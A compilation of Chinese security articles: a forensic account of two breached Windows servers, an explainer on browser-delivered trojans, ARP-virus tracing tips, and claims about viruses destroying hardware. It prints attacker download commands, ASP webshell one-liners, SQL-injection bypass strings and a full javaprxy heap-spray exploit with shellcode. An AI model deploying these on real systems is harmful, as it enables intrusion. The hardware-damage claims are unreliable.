真实的网络攻击取证纪实

 
作者:诚信网安–子明
随着信息技术的发展,越来越多的人都喜欢用计算机办公,发邮件,建设自己的个人站点,公司建立自己的企业站点,政府也逐渐的采取了网上办公,更好的为人民服务,银行和证券机构也都开始依托互联网来进行金融和股票交易,但是随着方便的同时也同时带来了新的一些计算机网络安全隐患,随着司法机关的介入,我相信在不久的将来,网络攻击调查取证也会成为立法机构必须要考虑设立的一门新的学科,目前来说开设这个的课程多在网络警察和一些特殊机关,现在我来给大家讲下我亲身经历并参与完成的一次取证过程,用事实来讲述;
我一直从事病毒分析,网络攻击响应相关的工作,这次应好朋友的邀请,帮忙配合去协查几台服务器,我们来到了某XXX驻地,首先进行例行检查。经过了 1天左右的时间的检查,其中用到了一些专用设备也包含自主编写的工具以及第三方提供的勘察取证软件,共发现问题主机服务器10台,其中2台比较严重,(以下用A服务器和B服务器来代替)和朋友商定后,决定带回我们的实验室,进行专项深入分析。
习惯的检查步骤操作:
服务器操作系统版本信息——>操作系统补丁安装情况——>操作系统安装时间,中间有没有经过进行重新安装——>服务器维护情况——>服务器上面安装的软件版本信息
日志检查——IDS日志信息/IIS日志信息/系统日志信息
网站代码审查——是否存在一句话木马,源代码上是否存在恶意代码插入
杀毒软件版本更新情况——是否是最新版本,配置的是否合理,配套的监视是否全部打开
数据恢复——>利用专用数据恢复软件进行数据恢复,恢复一些被删除的日志信息和系统信息,曾经安装过的文件操作信息。
提取可疑文件(病毒、木马、后门、恶意广告插件)——在系统文件目录利用第三方或者自开发软件,对可疑文件进行提取并进行深度分析。
上述步骤是我个人总结的,有不妥的地方还请朋友们指正,介绍完理论,我们来实践处理下这两台服务器。
A服务器检查处理过程
该A服务器所装的操作系统是Advanced 2000 server,服务器上安装的有瑞星2008杀毒软件,病毒库已经更新到最新版本。但是并没有安装网络防火墙和其他系统监视软件,安装的ftp服务器版本为server-u 6.0(存在溢出攻击的威胁)
 
一、对原始数据进行恢复
利用Datarecover软件来恢复一些被删除的文件,目的是希望从被删除的文件来找出一些木马或者后门以及病毒。进行深度分析,把曾经做过的格式化,以及在回收站中删除过的文件恢复过来,但是遗憾的是成功拿下这台服务器权限的黑客已经做了专业处理,把他的一些痕迹进行了全面清理,个人认为他使用了日本地下黑客组织开发的专项日志清除工具,经过我和助手的共同努力还是把系统日志恢复到当年5月份。
 
二、手工分析可疑文件
在本服务器的c盘根目录下面有一个sethc..exe 文件。这个文件是微软自带的,是系统粘制键,真实的大小应为27kb,而这个文件为270kb,起初我以为是由于打补丁的原因。但是经过翻阅一些资料和做比对之后,才知道这样的文件是一个新开发的流行后门,主要用法:通过3389终端,然后通过5次敲击shift键,直接调用sethc.exe而直接取得系统权限。随后达到控制整个服务器,通常他还是通过删除正常的一些c盘exe文件。然后把自己伪造成那个所删除的exe文件名。造成一种假象。
这里我们提供解决方法如下:个人建议这个功能实用性并不高,建议直接删除这个文件,如果有人利用这个手法来对你的服务器进行入侵,那就肯定是有人做了手脚,可以第一时间发现黑客入侵行为,也可以作为取证分析的一个思路;在控制面板的辅助功能里面设置取消粘制键。
 
三、 利用专用防火墙检查工具去查看网络连接情况
目的是通过抓数据包来找出问题。如果对方安装的有远程控制终端,他肯定需要让保存在服务器上的后门和控制终端进行通话,会有一个会话连接。通过防火墙的拦截功能而去寻找出控制的源头。这个上面没有发现存在反弹木马,所以没有看到入侵的源头。
 
四、检查系统日志
作用:检查系统日志是否被入侵者清除,如果日志被入侵者删除,需要用数据恢复软件恢复操作系统日志
检查内容:主要包括IIS日志,安全性日志,系统日志。
 
更近一步深入检查:
找到日志后,仔细分析网站是否有入侵者留下的webshell,尤其是一句话后门
根据Webshell的名字, 在IIS 访问日志里搜索相关的名字,找到入侵者常用的ip地址,分析ip地址
还可以根据此IP地址检索IIS日志中,此入侵者都进行过什么样的操作
 
技术点滴:如果你比较熟悉Webshell,通过Get操作可以知道入侵者都进行过何种操作。因为Get操作是被系统记录的。
如果入侵者装有系统级的后门,用常用工具比如冰刃(IceSword),System Repair Engineer (SREng)等分析出可疑文件,用其他调试工具分析找到入侵者控制端IP地址。
 
通过服务器日志查出隐藏在后面的幕后黑客
通过iis的log访问日志,排查出三个可疑目标,其中一个手法相对于后两个入侵者更熟练一些,他在今年5月份左右或者更早就拿到了该服务器权限,上来之后到是没有做任何的添加和修改,从技术上来看,他是通过寻找网站的注入点进来的,然后在上面放了不少的后门,还放了一个mm.exe的文件,但是因为技术问题,没有把这个马运行起来,从外部访问只是在主页上显示为mm.jpeg,伪装成了图片。但是打开以后,什么都没有。经过我们分析以后,它是一张裸女的 jpeg文件。如果他这个mm.exe成功,完全有可能将该主站页面换成一张黄色图片。危害还是有的。另外该站点权限给的过高,在访问新闻频道的时候,直接就是sa权限。这个是最高系统级和Admin是一个级别的。
由于服务器被网管人员重新装过,初步怀疑是用的ghost安装的,造成了原珍贵日志数据无法找回,我们只能分析出7月份-12月份这段时间的日志,通过这些日志我们又发现了针对此站点的入侵记录。
入侵者操作再现:(黑客入侵操作过程分析)
2007-07-15 14:51:53 61.184.107.206 添加管理用户 net localgroup administrator Cao$ /add
2007-07-15 15:08:56 61.184.107.206 写下载exe的vbs脚本 c:\admin.vbs 试图下载exe地址为:http://www.dianqiji.com/pic/2007/0428/admin.exe
2007-08-12 09:48:45 218.205.238.6 写入webshell小马:d:\ybcenter\gg3.asp shell里留的QQ:183037,之后此人频繁用此后门登陆服务器
2007-08-25 08:03:15 218.28.24.118 曾访问他以前留下的操作数据库的webshell /system/unit/main.asp 此后门可以浏览到敏感数据库的信息
2007-08-25 08:12:45 218.28.24.118 写入另一个webshell D:\ybcenter\ggsm.asp
之后,218.28.24.118用以前留下的功能比较全的webshell /Cnnsc.asp和/system/unit/Cnnsc.asp频繁操作服务器上文件
2007-11-11 14:23:23 218.28.24.118 用他曾经留下的操作数据库的后门/service/asp.asp访问敏感数据库的信息
2007-08-25 08:27:57 218.28.24.118 用他曾经留下的操作数据库的后门/system/unit/sql.asp访问敏感数据库的信息
2007-11-11 11:02:55 218.28.24.118 试图访问他曾经留下的操作数据库的后门/yb/in_main3.asp访问敏感数据库
2007-08-06 12:42:41 218.19.22.152 写下载脚本C:\down.vbs 下载的exe为http://ray8701.3322.org/1.exe
2007-08-09 11:57:16 218.19.98.147 写ftp下载exe的脚本c:\zxq.txt ftp服务器203.253.31.244 用户名kick1000 密码84460965 下载1.exe
2007-08-26 07:43:47 123.5.57.117 试图攻击服务器
2007-08-26 07:43:47 123.5.57.117 写ftp下载exe的脚本c:\zxq.txt ftp服务器203.253.31.244 用户名kick1000 密码84460965 下载1.exe
2007-12-10 12:41:34 123.52.18.141 检测注入
 
五、查看登陆信息 查看是否存在有克隆帐户
方法:检查注册表里面的sam文件有没有相同的fv,在这里检查过程中没有发现存在有克隆帐号。
 
六、查看系统安装日志,在这里并未发现问题
 
七、 查看IIS访问日志,在这里发现了攻击者信息
2007-12-01 08:55:16 220.175.79.231 检测注入
2007-12-03 18:40:48 218.28.68.126 检测注入
2007-12-04 01:31:32 218.28.192.90 检测注入,扫描web目录
2007-12-04 23:23:33 221.5.55.76 检测注入
2007-12-05 09:20:57 222.182.140.71 检测注入
2007-12-08 09:39:53 218.28.220.154 检测注入
2007-12-08 21:31:44 123.5.197.40 检测注入
2007-12-09 05:32:14 218.28.246.10 检测注入
2007-12-09 08:47:43 218.28.192.90 检测注入
2007-12-09 16:50:39 61.178.89.229 检测注入
2007-12-10 05:50:24 58.54.98.40 检测注入
定位可疑IP地址,追踪来源 查出IP地址的信息。
 
八、查看网站首页的源代码。
在iframe 这个位置查看是否有不属于该网站的网站信息。(查找 网马的方法),以及如何发现一些潜在的木马和网络可利用漏洞。
下面是我们得到的一些他的网马。
gg3.asp Q:183637
log.asp
pigpot.asp
webdown.vbs
attach/a.gif
attach/chongtian.gif
attach/111.rar
system/unit/yjh.asp
system/unit/conn.asp 加入防注入
Q:6242889678
images/mm.jpg = exe自解压 主页包含文件
一句话木马:
<%execute request %>
备份一句话木马
<%eval(request(“a”):response.end%>
注射检查,在IIS里面查找是否存在的有针对
%20 and 1=1’sql
‘or’=’or’ a’or’1=1– ,’or1=1– ,”or1=1– ,or1=1–, ‘or’a’=’a, “or”=”a’=’a

作用:躲避验证信息 主要用在后台登陆上
%5c 爆数据库,作用直接下载服务器上的数据库,获得用户名和密码,经过系统提权而拿到整个服务器权限。
针对一些下载者这样的木马,主要需要在windows /document and setting下面的local setting 的 temp 或者 temp internet的这个文件夹中查看刚生成的exe文件,重点查看一下在system32文件夹下面的exe文件,尤其关注最新生成的exe文件,伪造的系统文件等。
以上就是针对A服务器的整个检查过程以及发现问题后该如何处理和补救的相关解决方法。
B服务器检查取证分析
B服务器装的是windows2000 server版本,操作步骤同上。
经过一段细心的检查还是让我和助手们发现了一个木马,起因是在网站源代码处发现都被插入了一些奇怪的代码,在system32系统文件夹下还发现了新的niu.exe,非常可疑,提取该exe文件,在虚拟机中进行分析,得出该exe工作原理:
该exe 属木马类,病毒运行后判断当前运行文件的文件路径如果不是%System32%\SVCH0ST.EXE,将打开当前文件的所在目录复制自身到% System32%下,更名为SVSH0ST.EXE,并衍生autorun.inf文件;复制自身到所有驱动器根目录下,更名为niu.exe,并衍生 autorun.inf文件,实现双击打开驱动器时,自动运行病毒文件;遍历所有驱动器,在htm、asp、aspx、php、html、jsp格式文件的尾部插入96个字节的病毒代码;遍历磁盘删除以GHO为扩展名的文件,使用户无法进行系统还原;连接网络下载病毒文件;修改系统时间为2000 年;病毒运行后删除自身。
以上是我配合有关部门参与的真实的一次的取证记录,因为答应过朋友要保守秘密,所以真实的一些ip地址和信息这里都做保留。同时在这里我要感谢安天cert组的战友的帮忙,以及身边的2个助手的并肩作战。

国内资深安全专家详谈网页木马

诚信网安--子明
【51CTO.com 专家特稿】当今网络,反病毒软件日益增多,使用的反病毒技术越来越先进,查杀病毒的能力逐渐提高,但病毒制作者并不会罢休,反查杀手段不断升级,新的病毒层出不穷,形式也越来越多样化,为了躲避查杀,病毒自身的隐蔽性越来越高,针对反病毒软件对传统的病毒传播途径的监控能力提高,造成病毒传播困难的问题,越来越多的病毒,利用多数反病毒软件产品对恶意脚本监控能力的缺陷,开始利用网页木马这一危害面最广泛,传播效果最佳的方式来传播。
一 、什么是网页木马
网页木马是利用网页来进行破坏的病毒,它包含在恶意网页之中,使用脚本语言编写恶意代码,依靠系统的漏洞,如IE浏览器存在的漏洞来实现病毒的传播。当用户登陆了包含网页病毒的恶意网站时,网页木马便被激活,受影响的系统一旦感染网页病毒,就会遭到破坏,轻则浏览器首页被修改,标题改变,系统自动弹出广告,重则被装上木马,感染病毒,使用户无法进行正常的使用。甚至会引起系统崩溃,敏感信息丢失等严重后果。由于脚本语言易于掌握,所以网页木马非常容易编写和修改,造成很难提取特征值,增加了杀毒软件查杀以及用户预防的困难。
目前的网页木马都是利用脚本语言、ActiveX、WSH等来实现对客户端计算机的远程操作,如改写注册表,添加、删除、更改文件夹等操作。网页病毒可以以此来达到传播的目的。
1.利用WSH(Windows Scripting Host Object Reference)等系统控件
WSH,是“Windows Scripting Host”的简称,可以直译为“Windows 脚本宿主”。在Windows系统中会默认安装,它是内嵌于 Windows 操作系统中的脚本语言工作环境。
Windows Scripting Host 这个概念最早出现于 Windows 98 操作系统。微软在研发 Windows 98 时,为了实现多类脚本文件在 Windows 界面或 Dos 命令提示符下的直接运行,就在系统内植入了一个基于 32 位 Windows 平台、并独立于语言的脚本运行环境,并将其命名为“Windows Scripting Host”。WSH 架构于 ActiveX 之上,通过充当 ActiveX 的脚本引擎控制器,WSH 为 Windows 用户充分利用威力强大的脚本指令语言扫清了障碍。
WSH也有它的不足之处,任何事物都有两面性,WSH 也不例外。WSH 的优点在于它使用户可以充分利用脚本来实现计算机工作的自动化;但也正是它的这一特点,使系统存在了安全隐患。计算机病毒制造者用脚本语言来编制病毒,并利用 WSH 的支持功能,让这些隐藏着病毒的脚本在网络中广为传播。借助WSH的缺陷,通过JAVAScript,VBScript,ActiveX等网页脚本语言,可以改动受影响系统的注册表,利用服务器端脚本程序如:ASP,PHP等来记录访问网页者的相关信息,浏览之后,系统目录被完全共享;IP地址、访问时间、操作系统名称会被网页木马所记录,造成敏感信息的泄露。
2.Microsoft Internet Explorer等浏览器存在漏洞
3.脚本语言
用JAVA编制的脚本语言主要是Java Applet和Java Script。Applet是Java编写的小应用程序,不能独立运行,需要嵌入HTML文件,遵循标准,在支持Java的浏览器(如Microsoft Internet Explorer) 上运行,是Java一个重要的应用分支,它改变了传统网页呆板的界面,在WWW网页(Home Page / Pages)设计中加入了动画、影像、音乐等元素。
JavaScript是一种基于对象(Object)和事件驱动(Event Driven)并具有安全性能的脚本语言。使用它的目的是与HTML超文本标记语言、与Web客户交互作用。从而可以开发客户端的应用程序等。它是通过嵌入或文件引用在标准的HTML语言中实现的。它的出现弥补了HTML语言的缺陷,它是Java与HTML折衷的选择,具有基于对象、简单、安全、动态、跨平台性等特性。
ActiveX是Microsoft提出的一组使用COM(Component Object Model,部件对象模型)使得软件部件在网络环境中进行交互的技术。它与具体的编程语言无关。作为针对Internet应用开发的技术,ActiveX 被广泛应用于WEB服务器以及客户端的各个方面。同时,ActiveX技术也被用于方便地创建普通的桌面应用程序。在Applet中可以使用 ActiveX技术,如直接嵌入ActiveX控制,或者以ActiveX技术为桥梁,将其它开发商提供的多种语言的程序对象集成到Java中。与 Java的字节码技术相比,ActiveX提供了“代码签名”(Code Signing)技术保证其安全性。
造成网页病毒传播和形成的主要原因,是因为Windows操作系统以及Microsoft Internet Explorer等浏览器存在漏洞。
二、网页木马的攻击原理
网页木马实际上是一个HTML网页,与其它网页不同的是该网页是黑客精心制作的,用户一旦访问了该网页就会中木马。为什么说是黑客精心制作的呢?因为嵌入在这个网页中的脚本恰如其分地利用了IE浏览器的漏洞,让IE在后台自动下载黑客放置在网络上的木马并运行(安装)这个木马,也就是说,这个网页能下载木马到本地并运行(安装)下载到本地电脑上的木马,整个过程都在后台运行,用户一旦打开这个网页,下载过程和运行(安装)过程就自动开始。
打开一个网页,IE浏览器不会自动下载程序和运行程序,这是因为,为了安全,IE浏览器是禁止自动下载程序特别是运行程序的,但是,IE浏览器存在着一些已知和未知的漏洞,网页木马就是利用这些漏洞获得权限来下载程序和运行程序的。下面列举一些IE浏览器等存在的漏洞来分别说明为什么利用网页木马可以下载程序和运行程序。
1.下载可执行文件.
index里有一个代码漏洞<LINK href=”ray.exe” rel=stylesheet type=text/css>,IE会把可执行文件误认为CSS样式表而下载到IE的临时文件目录.
也可以利用<SCRIPT LANGUAGE=”icyfoxlovelace” src=”http://test.net/1.exe”></SCRIPT>这段代码,把这段代码插入到网页源代码的</BODY>…</BODY>之间,运行后就会发现在IE的临时目录Temporary Internet Files下,已经下载了1.exe这个病毒文件。
2.自动运行程序
<SCRIPT LANGUAGE=”javascript” type=”text/javascript”> var shell=new ActiveXObject(“shell.application”); shell.namespace(“c:\\Windows\\”).items().item(“Notepad.exe”).invokeverb(); </SCRIPT>
把这段代码插入到网页源代码的</BODY>…</BODY>之间,然后用IE打开该网页,这段代码可以在IE中自动打开记事本。
这段代码使用了shell.application控件,该控件能使网页获得执行权限,替换代码中的“Notepad.exe”(记事本)程序,就可以用它自动运行本地电脑上的任意程序。
通过以上的例子可以看出,利用IE的漏洞,在网页中插入相关的代码,IE完全可以自动下载和运行程序。
三、可能被网页木马利用的漏洞
1.利用URL格式漏洞
此类网页木马是利用URL格式漏洞来欺骗用户。构造一个看似JPG格式的文件诱惑用户下载,但事实上用户下载的却是一个EXE文件。
此类攻击,具有相当的隐蔽性,利用URL欺骗的方法有很多种,比如起个具有诱惑性的网站名称或使用易混的字母数字掉包进行银行网络钓鱼,还有漏洞百出的“%30%50”之类的Unicode编码等等,现在列举比较常见的几种方法:
(1).@标志过滤用户名的解析
本来@标志是E-mail地址的用户名与主机的分隔符,但在URL中同样适用,而且功能如出一辙。HTTP(超文本传输协议)规定了URL的完整格式是“Http://Name:Password@IP地址或主机名”,其中的“IP地址或主机名”是必填项。@标志与其前面的“Name: Password”,意为“用户名:密码”,属于可选项。也就是说,在URL中真正起解析作用的网址是从@标志后面开始的,这就是欺骗原理。
比如用户访问“Http://www.sina.com@www.Trojan.com.cn/HuiGeZi_Server.exe”,从表面上看,这是新浪网提供的一个链接,用户会认为这是一个无害的链接,而点击,而实际上 “www.sina.com”只是个写成新浪网址形式的用户名(此处的密码为空),因为后面有@标志。而真正链接的网址却是 “www.Trojan.com.cn/HuiGeZi_Server.exe” 也就是说这个发来的URL地址其实完全等同于“Http://www www.Trojan.com.cn/HuiGeZi_Server.exe,而与前面的用户名毫无关系,只是迷惑性可就大大提高了。即使没有这个用户名,也完全不影响浏览器对URL的解析。
(2).十进制的IP地址
常见的IP地址包括四个字节,一般表示形式为“xxx.xxx.xxx.xxx”(x表示一个十进制数码),例如“61.135.132.12”。因为数字IP地址较长,且过于抽象、难以记忆,所以采用域名服务DNS来与之对应。在浏览器地址栏中输入“Http://www.sohu.com”与 “Http://61.135.132.12”的结果完全一样,都是访问搜狐网站,因为61.135.132.12就是搜狐域名www.sohu.com的IP地址。不过,用Http://1032291340访问的话,仍然可以打开搜狐网站,这是因为,四位点分十进制形式的IP地址“61.135.132.12”代表一组32位二进制数码,如果合在一起再转换成一个十进制数的话,答案就是1032291340。转换方法,就是数制的按权展开:12×2560+132×2561+135×2562+61×2563 =12+33792+8847360+1023410176=1032291340(基数为256,即28)。在上文的例子中提到了 “www.Trojan.com.cn/HuiGeZi_Server.exe”。这种字母域名有时还能被用户识破,而在把它对应的IP地址(假设为 “61.135.132.13”)换算成一个十进制数后,结果是1032291341,再结合@标志过滤用户的解析,就会变成Http://www.sina.com@1032291341这样的地址,这样就更加隐蔽了。
(3).虚假的网址,网络钓鱼者注册一个域名和真实网站域名十分相似的网址,其用户界面也和真实网站页面非常相似,然后不URL提供给用户,那么一般的用户被引导到这样的虚拟网址上是难以察觉的,攻击者也就可以利用该网页来诱导用户输入自己的个人身份信息,达到窃取的目的,例如真实网站域名是www.lovebank.xxx,伪造网站域名是www.1ovebank.xxx,一个是小写的”L”,一个是数字”1″,域名服务器将解析到完全不同的IP地址上,但用户很难看出来。再如真实网站的域名是www.xxx.xxx.cn,而虚假网站使用域名www.xxx.xxx,很多人也无法判断
(4).更隐蔽的方法,是根据超文本标记语言的规则,可以对文字制作超链接,这样就使网络钓鱼者有机可乘。例如文件源代码可以写成:”<A HREF=http://www.xxxbank.com.cn>http://www.xxbank.com.cn</A>”。这样,屏幕上显示的是xxxbank的网址,而实际却链接到了xxbank的虚假网站。
(5).采用伪装手段。可以在浏览器打开虚假网站的时候,弹出一个很隐蔽的小图像,正好覆盖在浏览器显示网址的地方,该小图像显示被仿冒的网站的真实域名,而浏览器真正访问的地址被掩盖在下面。
(6).虚假的弹出窗口。一些虚假网站会将用户转移到真实的网址,但是转移之前制造假冒的弹出窗口,提示用户进行个人登陆的操作,很多用户会误认为这些弹出窗口是网站的一部分而进一步按照提示操作,直到透露出自己的个人身份信息。
(7).可以利用浏览器漏洞窃取个人信息,如IE就曾暴露出一个漏洞,该漏洞使攻击者可以在垃圾邮件中构造一种数据,用户点击后便可使IE浏览器显示的网址与实际访问的网址不同。采用这种方式进行攻击,欺骗性更好,可以通过向用户发送包含URL的垃圾邮件的方式,诱骗用户点击,用户如果不检查邮件的原始代码,根本无法知道自己被浏览器欺骗了。
(8).黑客程序可以修改用户计算机中的HOSTS文件,将特定域名的IP地址设置成自己的虚假网站的地址,用户访问这些网站时,机器会从 HOSTS文件中获得对应的IP。除了上面的方法外,更为隐蔽和目前常用的攻击手法是,攻击者首先攻破一个正常的网站,然后修改网站的代码,通过跳转语句或嵌入JS脚本的手段,来改造一个挂马的网站,这样当用户点击了包含正常网站的URL时,是不会有戒备心理的,更容易造成更大的损失。
2.通过ActiveX控件制作网页木马。
通过 ActiveX 把普通的软件转化为可以在主页直接执行的软件的网页木马,此类网页木马对所有的系统和IE版本都有效,缺点是浏览网页木马时会弹出对话框,询问是否安装此插件。病毒作者通常是伪造微软、新浪、Google等知名公司的签名,伪装成它们的插件来迷惑用户。
3.利用WSH的缺陷
利用WSH修改注册表,使IE安全设置中“没有标记为安全的的activex控件和插件”的默认设置改为启用,然后再利用一些可以在本地运行EXE程序的网页代码来运行病毒。它的危害在于,可以利用IE的安全漏洞提升权限达到本地运行任意程序的后果。
4.利用MIME漏洞制做的网页木马。
它利用了Microsoft Internet Explorer中MIME/BASE64处理的漏洞,MIME(Multipurpose Internet Mail Extentions),一般译作“多用途的网络邮件扩充协议”。顾名思义,它可以传送多媒体文件,在一封电子邮件中附加各种格式文件一起送出。现在它已经演化成一种指定文件类型(Internet的任何形式的消息:E-mail,Usenet新闻和Web)的通用方法。在使用CGI程序时你可能接触过 MIME类型,其中有一行叫作Content-type的语句,它用来指明传递的就是MIME类型的文件(如text/html或 text/plain)。MIME在处理不正常的MIME类型时存在一个问题,攻击者可以创建一个Html格式的E-mail,该E-mail的附件为可执行文件,通过修改MIME头,使IE不能正确处理这个MIME所指定的可执行文件附件。IE处理附件的方式:一般情况下如果附件是文本文件,IE会读取文件,如果是VIDEO CLIP,IE会查看文件;如果附件是图形文件,IE就会显示文件;如果附件是一个EXE文件呢?IE会提示用户是否执行,但当攻击者更改MIME类型后,IE就不再提示用户是否执行而直接运行该附件。从而使攻击者加在附件中的程序,攻击命令能够按照攻击者设想的情况进行。在Win9X\ME以及 WinNT4和Win2000下的Internet Explorer 5.0、5.01、5.5均存在该漏洞,微软邮件客户端软件Outlook Express也存在此漏洞。
5.利用系统的图片处理漏洞
这是种只要浏览图片就可以传播的网页木马。这种木马是把一个EXE文件伪装成一个BMP或JPG图片文件,在网页中添加如 <img src=”love.bmp” >的代码来欺骗IE自动下载,然后利用网页中的Java Script脚本查找客户端的Internet临时文件夹,寻找下载的BMP格式文件,把它拷贝到TEMP目录.再利用脚本把找到的BMP文件用 DEBUG还原成EXE,并添加到注册表启动项中,达到随系统的目的。
6.HTML文件木马
首先利用工具把EXE格式的文件转化成HTML文件的木马,这样.EXE文件看起来就变成了Htm文件,欺骗访问者访问假冒的Htm文件从而达到运行病毒的目的。它和BMP网页木马运用了同一个原理,也会利用JAVASCRIPT脚本和debug程序来转换回EXE文件。
7.Hta木马
Hta网页木马,是利用Internet Explorer Object Data(MS03-032)漏洞制作的网页木马,此漏洞是因为Internet Explorer在处理对象”Object”标记时没有正确处理要被装载的文件参数。(”Object”标记用于插入ActiveX组件等对象到HTML 页面。”Object”标记的”Type”属性用于设置或获取对象的MIME类型。通常合法MIME类型包括”plain/text”或 “application/hta”, “audio/x-mpeg”等。)Internet Explorer指定远程对象数据位置的参数没有充分检查被装载的文件属性,攻击者可以构建恶意页面,诱使用户访问来运行恶意页面指定的程序 。
8.利用CHM格式漏洞。
这种网页木马首先创建一个Htm文件,包含如下代码:<OBJECT NAME=’X’ CLASSID=’CLSID:11111111-1111-1111-1111-111111111123′ wight =0 height =0 CODEBASE=’x.exe’>然后用电子书制作工具将包含名为x.exe的病毒文件该文件的文件夹编译成CHM文档。新建一个包含如下代码的 Htm文件。
<title>hello</title>
<textarea id=”code” style=”display:none;” >
<object data=”&#109;s-its:mhtml:file://C:\foo.mht!${lhxy}/x.chm::/x.htm” type=”text/x-scriptlet”></object>
</textarea>
<script language=”javascript”>
document.write(code.value.replace(/\${lhxy}/g,location.href.substring(0,location.href.indexOf(‘mm.htm’))));
</script>
就达到了调用挂病毒的目的。
9.IFRAME溢出
IE IFRAME漏洞利用了MS05020中提到的IE溢出漏洞, IE在处理iframe标签的时候,会调用一个叫作SHDOCVW!CBaseBrowser2::SetFramName函数来进行unicode copy(wcscpy),在拷贝iframe的name时,没有进行边界检查,构造恶意的代码就会导致IE的溢出。IE产生溢出错误后,可能会被黑客利用打开电脑中某个端口。当微软的IE窗口打开另一个窗口时,如果子窗口是另一个域或安全区的话,安全检查应当阻止父窗口访问子窗口。但事实并非如此,父窗口可以访问子窗口文档的frame,这可能导致父窗口无论是域或安全区都能在子窗口中设置Frame或IFrame的URL。这会带来严重的安全问题,通过设置URL指向Javascript协议,父窗口能在子域环境下运行脚本代码,包括任意的恶意代码。攻击者也能在“我的电脑”区域中运行脚本代码。这更会造成严重的后果。
10. Microsoft Internet Explorer Javaprxy.DLL COM对象堆溢出漏洞
Microsoft Internet Explorer存在一个堆溢出漏洞。当一个恶意的网页实例化’javaprxy.dll’ COM对象时,可能导致堆溢出,成功利用该漏洞能够在客户端上下载执行任意代码。其测试代码如下:
<!–
注:这个漏洞利用代码是用PERL脚本生成的可用HTM网页文件,以网页形式保存,打开后如果执行成功,将会监听28876端口
–>
<html><body>
<SCRIPT language=”javascript”>
shellcode = unescape(“%u4343″+”%u4343″+”%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb”);
bigblock = unescape(“%u0D0D%u0D0D”);
headersize = 20;
slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<750;i++) memory[i] = block + shellcode;
</SCRIPT>
<object classid=”CLSID:03D9F3F2-B0E3-11D2-B081-006008039BF0″></object>
Microsoft Internet Explorer javaprxy.dll COM Object Remote Exploit

快速找到ARP病毒源

第一招:使用Sniffer抓包  在网络内任意一台主机上运行抓包软件,捕获所有到达本机的数据包。如果发现有某个IP不断发送请求包,那么这台电脑一般就是病毒源。原理:无论何种ARP病毒变种,行为方式有两种,一是欺骗网关,二是欺骗网内的所有主机。最终的结果是,在网关的ARP缓存表中,网内所有活动主机的MAC地址均为中毒主机的MAC地址;网内所有主机的ARP缓存表中,网关的MAC地址也成为中毒主机的MAC地址。前者保证了从网关到网内主机的数据包被发到中毒主机,后者相反,使得主机发往网关的数据包均发送到中毒主机。
第二招:使用arp -a命令 任意选两台不能上网的主机,在DOS命令窗口下运行arp -a命令。例如在结果中,两台电脑除了网关的IP,MAC地址对应项,都包含了192.168.0.186的这个IP,则可以断定192.168.0.186这台主机就是病毒源。原理:一般情况下,网内的主机只和网关通信。正常情况下,一台主机的ARP缓存中应该只有网关的MAC地址。如果有其他主机的MAC地址,说明本地主机和这台主机最后有过数据通信发生。如果某台主机(例如上面的192.168.0.186)既不是网关也不是服务器,但和网内的其他主机都有通信活动,且此时又是ARP病毒发作时期,那么,病毒源也就是它了。
第三招:使用tracert命令  在任意一台受影响的主机上,在DOS命令窗口下运行如下命令:tracert 61.135.179.148。 假定设置的缺省网关为10.8.6.1,在跟踪一个外网地址时,第一跳却是10.8.6.186,那么,10.8.6.186就是病毒源。原理:中毒主机在受影响主机和网关之间,扮演了“中间人”的角色。所有本应该到达网关的数据包,由于错误的MAC地址,均被发到了中毒主机。此时,中毒主机越俎代庖,起了缺省网关的作用。

病毒破坏硬件有七大损招

病毒破坏硬件的“手段”,一般有以下几种:
 
1.破坏显示器
众所周知,每台显示器都有自已的带宽和最高分辨率、场频。早期生产的14英寸彩色显示器,带宽大约只有35-45MHz,对应的最高分辩率为1024×768@60Hz场频;目前的14英寸彩色显示器,带宽大都有60MHz,对应的最高分辨率为1024×768@75Hz场频;15英寸彩色显示器(高档的),带宽有110MHz,对应的最高分辨率为1280×1024@85Hz场频。大家可以查看一下显示器的说明书,上面都有场频与最高分辨率的配合。若其中有一项超过,就会出现花屏,严重了就会烧坏显示器。病毒可以通过篡改显示参数来破坏显示器(如把分辨率、场院频改到显卡能支持的最高档等)。虽然新型显示器有DDC标准化与系统联络,但病毒想钻空子并不难。所以大家如果发现在使用过程中显示器出现了花屏,要立即关掉显示器的电源,重新启动后进入安全模式再找原因。
 
2.超外频、加电压破坏CPU、显卡、内存等
目前新型主板采用“软跳线”的越来越多,这正好给病毒以可乘之机。所谓“软跳线”是指在BIOS中就能改动CPU的电压、外频和倍频。病毒可以通过改BIOS参数,加高CPU电压使其过热而烧坏,或提高CPU的外频,使CPU和显卡、内存等外设超负荷工作而过热烧坏。这类事件的前兆就是死机。所以,如果发现机器经常死机,就要赶紧到CMOS中看看以上参数是否有改动。可喜的是,目前很多主板都有CPU温度监测功能,超温后立即降频报警,可以基本杜绝烧坏硬件的情况发生。
 
